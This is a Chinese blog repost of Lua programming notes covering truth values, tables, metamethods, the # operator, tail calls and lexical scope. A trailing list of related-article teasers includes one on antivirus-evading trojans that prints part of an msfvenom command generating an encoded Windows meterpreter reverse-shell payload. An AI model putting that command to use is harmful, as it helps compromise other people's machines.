写lua时需要注意的地方

  1. 条件语句判断时,只有false和nil会导致判断为假,其他的任何值都为真。
  2.  Lua 的字符串与编码无关; 它不关心字符串中具体内容。
  3. 标准 Lua 使用 64 位整数和双精度(64 位)浮点数, 但你也可以把 Lua 编译成使用 32 位整数和单精度(32 位)浮点数。 以 32 位表示数字对小型机器以及嵌入式系统特别合适。
  4. table 是一个关联数组, 也就是说,这个数组不仅仅以数字做索引,除了 nil 和 NaN 之外的所有 Lua 值 都可以做索引
  5. Lua 语言对大小写敏感: and 是一个保留字,但 And 与 AND 则是两个不同的有效名字。 作为一个约定,程序应避免创建以下划线加一个或多个大写字母构成的名字 (例如 _VERSION)
  6. Lua 5.3 之后支持了位运算
  7. 关于函数可返回值的数量限制和系统有关。 这个限制一定大于 1000 
  8. 当你使用 Lua API 时, 就有责任保证做恰当的调用。 特别需要注意的是, 你有责任控制不要堆栈溢出。 你可以使用 lua_checkstack 这个函数来扩大可用堆栈的尺寸。
  9. Lua 支持协程,也叫 协同式多线程。 一个协程在 Lua 中代表了一段独立的执行线程。 然而,与多线程系统中的线程的区别在于, 协程仅在显式调用一个让出(yield)函数时才挂起当前的执行。
  10. Lua 从一个对象 obj 中获取一个元方法的过程:

         rawget(getmetatable(obj) or {}, "__" .. event_name)
  11. 取长度操作符写作一元前置符 #。 字符串的长度是它的字节数(就是以一个字符一个字节计算的字符串长度)。

    程序可以通过 __len 元方法来修改对字符串类型外的任何值的取长度操作行为。

    如果 __len 元方法没有给出, 表 t 的长度只在表是一个 序列 时有定义。 序列指表的正数键集等于 {1..n} , 其中 n 是一个非负整数。 在这种情况下,n 是表的长度。 注意这样的表

         {10, 20, nil, 40}
    

    不是一个序列,因为它有键 4 却没有键 3。 (因此,该表的正整数键集不等于 {1..n} 集合,故而就不存在 n。) 注意,一张表是否是一个序列和它的非数字键无关。

  12. return functioncall 这样的调用形式将触发一次 尾调用。 Lua 实现了 完全尾调用(或称为 完全尾递归): 在尾调用中, 被调用的函数重用调用它的函数的堆栈项。 因此,对于程序执行的嵌套尾调用的层数是没有限制的。 然而,尾调用将删除调用它的函数的任何调试信息。 注意,尾调用只发生在特定的语法下, 仅当 return 只有单一函数调用作为参数时才发生尾调用; 这种语法使得调用函数的所有结果可以完整地返回。 因此,下面这些例子都不是尾调用:

      return (f(x))        -- 返回值被调整为一个return 2 * f(x)return x, f(x)       -- 追加若干返回值f(x); return         -- 返回值全部被舍弃return x or f(x)     -- 返回值被调整为一个

     

  13. Lua 语言有词法作用范围。 变量的作用范围开始于声明它们之后的第一个语句段, 结束于包含这个声明的最内层语句块的最后一个非空语句。 看下面这些例子:

        x = 10                -- 全局变量do                    -- 新的语句块local x = x         -- 新的一个 'x', 它的值现在是 10print(x)            --> 10x = x+1do                  -- 另一个语句块local x = x+1     -- 又一个 'x'print(x)          --> 12endprint(x)            --> 11endprint(x)              --> 10 (取到的是全局的那一个)

    注意这里,类似 local x = x 这样的声明, 新的 x 正在被声明,但是还没有进入它的作用范围, 所以第二个 x 指向的是外面一层的变量。

转载于:https://www.cnblogs.com/andyidea/p/4515531.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358756.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

免费的人脸识别SDK(基于 Java 实现的人脸识别功能)

人脸识别技术是很复杂的,自己用Java手撕一个识别算法有点不切实际, 毕竟实力不允许我这么嚣张,还是借助三方的SDK吧! 免费的人脸识别SDK: ArcSoft:,地址:https://ai.arcsoft.com.cn 基于 Jav…

git信息泄露漏洞

git信息泄露漏洞 当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。 危害 攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据…

java实验文法报告_西安邮电大学编译原理LL文法分析器实验(java).doc

西安邮电大学编译原理LL文法分析器实验(java)《编译原理》实验报告题目: 语法分析器的制作学生姓名:班 级: 软件1202学 号:指导教师:成 绩:西安邮电大学计算机学院2015 年 6 月 7 日一:实验目的熟悉语法分析的过程;理解相关文法的步骤;熟悉Fi…

PHP 数据库 ODBC

PHP 数据库 ODBC ODBC 是一种应用程序编程接口(Application Programming Interface,API),使我们有能力连接到某个数据源(比如一个 MS Access 数据库)。 创建 ODBC 连接 通过一个 ODBC 连接,您可…

bash简介

目录 Shell 的含义 Shell 的种类 命令行环境 终端模拟器 命令行提示符 进入和退出方法 Shell 和 Bash 的历史 <

功能项目拼图将Java 9引入

因此&#xff0c;拼图项目...我们已经对此颇为了解&#xff0c;但尚未看到计划如何兑现其承诺的细节。 这篇文章将精确地做到这一点&#xff0c;并介绍项目的核心概念和功能。 系列 这篇文章是正在进行的有关拼图项目系列的一部分。 按照推荐的顺序&#xff08;不同于发布顺序…

2021Kali -- 木马免杀制作

​知道为什么梦里的人都看不清脸么&#xff1f;因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF&#xff0c;演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b \x00 l…

Bash脚本教程之基本语法

目录 echo 命令 -n参数 -e参数 命令格式 空格 分号 命令的组合符&&和|| type 命令 快捷键

qq音乐mp3解析php源码,QQ音乐API

QQ音乐API搜索歌曲API&#xff1a;&aggr1&cr1&loginUin{3}&formatjson&inCharsetGB2312&outCharsetutf-8&notice0&platformjqminiframe.json&needNewCode0&p{1}&catZhida0&remoteplacesizer.newclient.next_song&w{0}{0}需…

OpenCV与YOLO学习与研究指南

引言 OpenCV是一个开源的计算机视觉和机器学习软件库&#xff0c;而YOLO&#xff08;You Only Look Once&#xff09;是一个流行的实时对象检测系统。对于大学生和初学者而言&#xff0c;掌握这两项技术将大大提升他们在图像处理和机器视觉领域的能力。 基础知识储备 在深入…

2015年 六·一 儿童节——我

现是2015年的六一儿童节。按说儿童节对于一个己20岁的成年女生来讲已毫无渊渊&#xff0c;于是乎&#xff0c;我花费了将近半个下午的时间来解析自己&#xff1a;是否真的已经成人&#xff1f; 首先在外形上&#xff0c;毋庸置疑&#xff0c;已长成了大人的样子。158cm身高&…

目录爆破工具 -- dirsearch

我记得&#xff0c;以前总会和你聊的很晚很晚&#xff0c;现在我们不再说话了&#xff0c;我还是会熬夜&#xff0c;但我想&#xff0c;不如从今天开始早点睡吧。。。 一、环境&#xff1a;Kali2020.01、Python3.0 二、安装过程&#xff1a; 1、复制dirsearch到本地安装包 gi…

网页 php pdf文件怎么打开是乱码,打开php文件乱码的解决方法

打开php文件乱码的解决方法发布时间&#xff1a;2021-02-14 11:45:35来源&#xff1a;亿速云阅读&#xff1a;94作者&#xff1a;小新小编给大家分享一下打开php文件乱码的解决方法&#xff0c;相信大部分人都还不怎么了解&#xff0c;因此分享这篇文章给大家参考一下&#xff…

Bash教程之模式扩展

目录 简介 波浪线扩展 ? 字符扩展 * 字符扩展 方括号扩展 [start-end] 扩展 大括号扩展 {start..end} 扩展

java coin介绍_代码示例中的Java 7:Project Coin

java coin介绍该博客通过代码示例介绍了一些新的Java 7功能&#xff0c;这些项目在Project Coin一词下进行了概述。 Project Coin的目标是向JDK 7添加一组小的语言更改。这些更改确实简化了Java语言语法。 更少的打字&#xff0c;更简洁的代码&#xff0c;愉悦的开发人员&#…

如何设置浏览器禁止使用UC浏览器

通过UA可以判断浏览器是否是UC浏览器 if(navigator.userAgent.indexOf(UCBrowser)>-1) { alert("当前浏览器不支持本站&#xff0c;建议更换为QQ浏览器"); } 转载于:https://www.cnblogs.com/mqingqing123/p/4555188.html

Bash脚本教程之引号和转义

目录 转义 单引号 双引号 Here 文档 Here 字符串 转义 某些字符在 Bash 里面有特殊含义(比如$、&、*)。 $ echo $date$ 上面例子中,输出$date不会有任何结果,因为$是一个特殊字符。 如果想要原样输出这些特殊字符,就必须在它们前面加上反斜杠,使其变成普通字…

php分页教程,php 如何分页 教程

php 如何分页 教程这是一篇初级入门的教程了,我们这个与asp分页有一点的区别了,下面我们就来讲讲最简单的php分页代码吧,我们首先要有一个数据库.假如有我们有了一个数数据库里面有一张表a下面就是我们要讲到的分页代码了.$page $_GET[page]//这里是用来获取当前的页面,下面我…

在Java中实现过滤器和面包店锁

为了了解锁的工作方式&#xff0c;实现自定义锁是一个好方法。 这篇文章将展示如何在Java上实现Filter和Bakery锁&#xff08;自旋锁&#xff09;&#xff0c;并将它们的性能与Java的ReentrantLock进行比较。 过滤器锁和面包房锁满足互斥并且也是无饥饿算法&#xff0c;面包房锁…

Burpsuite工具的证书安装

Burpsuite工具的证书安装 Bursuite作为一款可以用来挖掘各种各样的WEB安全漏洞工具&#xff0c;在web安全渗透方面经常会使用到&#xff0c;可以用Bursuite进行对数据的抓包&#xff0c;其不安装证书时只能抓取http的包&#xff0c;安装证书就可以抓取https包&#xff0c;并分析…